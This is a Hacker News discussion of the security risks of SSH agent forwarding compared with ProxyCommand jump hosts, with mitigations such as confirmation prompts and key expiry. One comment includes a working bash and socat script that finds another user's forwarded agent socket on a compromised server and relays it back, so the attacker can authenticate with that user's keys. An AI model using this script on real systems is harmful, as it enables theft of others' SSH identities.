
SSH Agent Forwarding considered harmful - nodata
http://heipei.github.io/2015/02/26/SSH-Agent-Forwarding-considered-harmful/
======
Forbo
It says so right in the man page:

"Agent forwarding should be enabled with caution. Users with the ability to
bypass file permissions on the remote host (for the agent's UNIX-domain
socket) can access the local agent through the forwarded connection. An
attacker cannot obtain key material from the agent, however they can perform
operations on the keys that enable them to authenticate using the identities
loaded into the agent."

And it's not like this is buried in the manual. It says this in the section
describing `-A`.

~~~
heipei
So true. But then again, based on the amount of comments this got both here
and on Reddit, it seems like a lot of people were not aware of the danger or,
even if aware, had not found a suitable replacement (like ProxyCommand could
offer).

------
lisper
One legitimate use case for agent forwarding that I've used in the past is
ssh-ing in to a development server and doing a pull from a github repo.
Without agent forwarding to authenticate from the dev server to github that
gets really annoying really fast. Whatever vulnerabilities are introduced by
agent forwarding they pale in comparison to those you get by leaving your
private key on the dev server.

~~~
semi-extrinsic
Why can't you just authenticate to github with your password when you pull
from the dev server?

~~~
lazaroclapp
Because then you are exposing your password to a potentially untrusted dev
server? Unless you are making a new password for that server, in which case
you are still better of by giving each server their own private key and
registering the corresponding public keys for read-only access in your remote
repo.

Another option: mount the corresponding directory of the dev server using
sshfs, run git commands locally, run everything else remotely. Although I am
not sure if there are any risks of mounting an untrusted directory via sshfs.

------
ryan-c
Something I cooked up a while ago:

    
    
        #!/bin/bash
        REMOTE_HOST=$1
        REMOTE_SSH_AUTH_SOCK=`ssh $REMOTE_HOST 'find /proc -maxdepth 2 -user \$USER -wholename */environ 2>/dev/null | xargs grep -zhm1 SSH_AUTH_SOCK 2>/dev/null' | tr '\0' '\n' | head -n1 | cut -d = -f 2`
        if [ -n "$REMOTE_SSH_AUTH_SOCK" ]
            then
                echo Found remote agent socket $REMOTE_SSH_AUTH_SOCK
                HIJACKED_SSH_AUTH_SOCK=/dev/shm/agentjack_$REMOTE_HOST
                socat UNIX-LISTEN:$HIJACKED_SSH_AUTH_SOCK,reuseaddr,fork EXEC:"'ssh -q $1 socat STDIO UNIX-CONNECT:$REMOTE_SSH_AUTH_SOCK'" &
                SOCAT_PID=$!
                export SSH_AUTH_SOCK=$HIJACKED_SSH_AUTH_SOCK
                bash
                kill $SOCAT_PID
        fi
    

This will connect to a server that you have somehow gained access to, find an
agent socket, and reverse-forward the agent to the system you're connecting
from. Depends on socat being installed on the server, though, which is
somewhat uncommon.

I wrote a tool a while ago that automates using ssh jump hosts which may be of
interest. [https://github.com/ryancdotorg/ssh-
chain](https://github.com/ryancdotorg/ssh-chain)

~~~
ewindisch
I also put together a reverse agent a few years ago:
[https://github.com/ewindisch/reverse-ssh-
agent](https://github.com/ewindisch/reverse-ssh-agent)

------
peterwwillis
Agent forwarding and ProxyCommand-style jumps are two different use cases;
they both have uses which the other cannot be used for.

ProxyCommand is used for 'jump servers', where you want to simply login to one
server behind another. Of course it's handy to be able to authenticate from
your desktop to an additional server whenever possible and not leave yourself
open to attack from some server in the middle. In fact, it becomes very handy
to use an ssh agent in combination with ProxyCommand-style jumps.

Agent forwarding is used when you actually need different servers to interact
with each other [and not your desktop] using credentials only you control.
Rather than keeping credentials on the disks of intermediate servers, they
stay on your desktop.

From an even more practical standpoint, agents allow you to copy files between
servers without these stored credentials, too. Just try copying a couple
terabytes of data from one server to another with your cable modem as the
intermediary; it takes a lot longer than copying from server to server. Hence,
agent forwarding to allow you to copy files from host A to B using the creds
on your desktop. ProxyCommand doesn't do this.

Agent forwarding is always somewhat potentially harmful, but that potential
can be limited a great deal. Of course the private keys (nor passwords) are
never sent over the network. _ssh-add -c_ allows you to be prompted before
they're used (the author thought it was ssh-agent's option) and the -t option
to both ssh-agent and ssh-add also allows you to expire the credentials after
a given period of time.

------
scott_karana
How is ProxyCommand any better?

You still have to authenticate on the far remote server somehow, and the root
user of the compromised middle machine can still MITM your entire negotiation
because you have to trust their sshd _and_ ssh commands.

How do you know they're not just rewriting your ProxyCommand?...

~~~
jsn
It's called _secure_ shell for a reason. You know your ProxyCommand isn't
tampered with because your ssh client has successfully matched the remote
system key against your known_hosts file.

~~~
scott_karana
Looks like I slightly misunderstood how the command functioned, what with
proxying the traffic back to your _local_ ssh client.

I thought it was more like `ssh hosta 'ssh hostb'`, which _would_ be
problematic, but that's not the case. Phew.

So while non-secure protocols through ProxyCommand could still get MITM'd if
they own _hostA_ 's sshd, proxying ssh itself would be fine, assuming you
already had fingerprints. Much less worrisome. :)

~~~
heipei
Yeah, exactly, only your machine and the endpoint have to be secure for your
application to be secure. I frequently run something like plain HTTP, netcat
and other stuff over a ProxyCommand-initiated session.

~~~
scott_karana
Um, you realize that you're still relying on the mid-point SSHD to relay TCP
packets _without_ MITMing you though, right?

The only reason ProxyCommand to tunnel SSH would be safe is because your local
SSH uses authentication, and you would get the freaky _WARNING: REMOTE HOST
IDENTIFICATION HAS CHANGED, IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING
NASTY!_ warning. (eg known_hosts)

Netcat and plain HTTP don't have an authentication layer, so if your proxy
server is compromised, so is your plain traffic.

EDIT: see this other reply for another source:
[https://news.ycombinator.com/item?id=9428518](https://news.ycombinator.com/item?id=9428518)

------
clarkm
A legitimate use case for forwarding your SSH agent is when you're working
with a bunch of local VMs. I spin up several vagrant boxes that connect to
different networks, and like to be able to log in to the VMs and have ssh-
agent continue to let me do passwordless login to remote machines.

I suppose you could use ProxyCommand for stuff like this, but it interferes
with the vagrant ssh syntax, and makes you go through the hassle of updating
your SSH config, which doesn't scale very well.

~~~
heipei
Author here: Yes, that is one use-case I also consider in the post when I talk
about using SSH Agent Forwarding into Linux namespaces. The same argument can
be made about VMs, if you place the same trust in them as you do in your
desktop.

------
ewindisch
Nothing new, more amazing is how apparently unknown this is. Also, there are
risks the article doesn't acknowledge:

1) You should fear for your key just as much from local applications as you do
from a remote machine. Yes, there is a great risk from remote system and agent
forwarding, but do not become overly comfortable and presume these best
practices do not also extend to your local machine.

2) You should _always_ require ssh-askpass. You _want_ to be prompted locally,
otherwise malicious software on your machine could compromise your keyring.
Needless to say, encrypt your key (have a passphrase).

3) You want to use 'ssh-add -x' to lock your keyring and prevent removal or
addition of keys. Not only could this open you to various direct attacks, but
the ssh-agent itself could potentially be a target for attack via buffer-
overflow, double-free, etc. One trivial attack made possible by __not __using
'ssh-add -x' would be to flood the agent with keys forcing logins to fail with
too-many-attempt errors.

------
adamtj
The last paragraph about eavesdropping is interesting. The agent doesn't
actually give out your key, so an attacker can't use your key to decrypt any
traffic. Instead, the attacker gets at the decrypted data as it passes between
two ssh processes. Agent forwarding requires the data to be decrypted on the
compromised proxy machine. That's the security hole.

The data is encrypted between the workstation and the proxy machine A, which
we'll assume is compromised. The receiving ssh process running on machine A
decrypts the data and gives it to a second ssh process, which re-encrypts it
and sends it to the destination machine B. Because it's getting decrypted on
machine A, anybody who controls that machine can view or modify the data.

With a proxy command, there is only one ssh process running on the compromised
machine and it never sees the decrypted data. All it's doing is forwarding a
TCP connection. The second ssh process (the one connected to B) runs on your
workstation. The data is encrypted on your workstation and sent to B, via the
TCP tunnel running on A. But the data passing through A is encrypted using
ephemeral keys that A doesn't have. In this situation, controlling A is no
more useful than controlling any of the other internet routers or switches
that your data is passing through.

------
derefr
A fun read in a similar vein: the mosh
([https://mosh.mit.edu/](https://mosh.mit.edu/)) issue regarding adding
support for SSH agent forwarding:
[https://github.com/keithw/mosh/issues/120](https://github.com/keithw/mosh/issues/120)

~~~
thaumasiotes
I see a lot of people demanding that mosh add a security hole because they
don't know the secure way of doing what they want to do. (It's also quite
possible that I'm just misunderstanding the whole thing.)

But it's pretty easy to see where the real problem is. I recently spent a few
days trying to figure out how I could configure SSH to connect to one machine
via a different machine. (This effort was a total failure.) I read the
ssh_config man page. Here's the entry for ProxyCommand, which is apparently
how you do this:

    
    
        ProxyCommand
          Specifies the command to use to connect to the server.  The com-
          mand string extends to the end of the line, and is executed using
          the user's shell `exec' directive to avoid a lingering shell
          process.
    
          In the command string, any occurrence of `%h' will be substituted
          by the host name to connect, `%p' by the port, and `%r' by the
          remote user name.  The command can be basically anything, and
          should read from its standard input and write to its standard
          output.  It should eventually connect an sshd(8) server running
          on some machine, or execute sshd -i somewhere.  Host key manage-
          ment will be done using the HostName of the host being connected
          (defaulting to the name typed by the user).  Setting the command
          to ``none'' disables this option entirely.  Note that CheckHostIP
          is not available for connects with a proxy command.
    
          This directive is useful in conjunction with nc(1) and its proxy
          support.  For example, the following directive would connect via
          an HTTP proxy at 192.0.2.0:
    
             ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
    

I think it's fair to say that this is completely incomprehensible. I've read
it several times; I still can't say I understand any part of it (all right, I
understand the bit about %h, %p, and %r substitutions). It doesn't surprise me
at all that nobody uses ProxyCommand -- how are they supposed to know what it
does, or how it's used?

I might also note that this "correct" solution involves telling ssh to execute
the nc command on the middle machine, which is a weird bit of arcana to add to
the process and makes it much harder to intuit independently. Ideally, I'd
hope for a solution that lets me just supply credentials and information for
the middle machine, and let ssh sort out how to get through it.

~~~
derefr
It occurs to me that all this would be much simpler/more elegant if ssh wasn't
trying to be a dumb pipe, but instead something more like "tmux where some
sessions can be remote".

* Both servers and clients would have an "SSH session-manager daemon" running.

* New terminals would preferably invoke just "ssh" as their shell, which would create a connection to the _local_ SSH session-manager server—the same way people tend to use tmux under desktop Linux.

* The ssh(1) command would be able to talk to the _session control channel_ of whatever session it's being run in, and say things like "hey SSH client, make a new session connected to this remote!" (Again like tmux.)

* The remote side would be running an SSH session-manager daemon too, so when you are in a session connected to hostA and you type "ssh hostB", the _remote session manager daemon_ of hostA would set up a TCP-forwarding channel within itself, provide the new channel's ID over the control-channel back to the connected client, and the connected client would then create a new session connected to the TCP-forwarding channel.

Actually, now that I think about it, this is pretty much exactly like using
Erlang's job control with remsh connections.

~~~
thaumasiotes
I appreciate SSH's ability to work as a dumb pipe. Tunnels are a boon to my
life.

What I really, really want is for the SSH documentation to make sense even to
people who don't already know what it means. If I know what I want to do, and
SSH provides a way of doing that exact thing, I don't think it's too much to
ask for the documentation to be good enough that I recognize the thing I want
when I read about it. As things currently stand, the ProxyCommand
documentation is only helpful at all _if you already know all about
ProxyCommand_.

~~~
derefr
You could have both. Just like there's both ssh(1) and scp(1), you could have
snc (heck, that probably already exists.)

But I don't see why SSH itself has to be constrained by being both a dumb pipe
and a client/server shell system. Shells are complicated things, remote shells
even moreso, and requiring them to _also_ be able to serve as dumb pipes
constrains the way you implement the shell stuff—it pokes a hole in the
abstraction.

(If it were all up to me way back when, I'd have just cleaned up the TTY-
device abstraction, merged it with PTTYs and serial consoles, made the whole
thing socket-routable at the kernel level... and then pushed IPSec to ship
with a very SSH-like auto-negotiated pairing protocol. We have the worst of a
lot of worlds.)

~~~
thaumasiotes
You're right. This is a good idea.

------
thwarted
_keeping track of which keys have been added to your local ssh-agent is a
tedious task. SSH is very promiscuous when it comes to using SSH keys, and
once you make use of another key it will happily add that to your current
agent session._

I've only found this to be true with gnome-keyring's ssh-agent emulation
(which isn't complete last time I checked, since it doesn't support -c) and
the ssh-agent that OSX's keychain provides. They implicitly show keys added if
they have known filenames in ~/.ssh (id_rsa, for example) in the output of
`ssh-add -l`. To make matters worse, decrypting the key file puts the
passphrase in the key chain, so even if you put as password on your ssh key,
it's still accessible after you login and authenticate to the keychain
service.

The ssh-agent that is distributed with openssh does not do this and requires
keys to be added explicitly.

------
blueskin_
Are people only just realising this?

I would only ever use agent forwarding to a trusted host exactly because of
what it does - put a socket on that host that responds with your SSH key...
Anyone on that host with root has access to your key.

------
hckr1292
"This is like having unprotected sex only for a short amount of time. And
sometimes you do"

------
khaki54
Why not just require key use confirmation? ssh-add -c It's that easy.

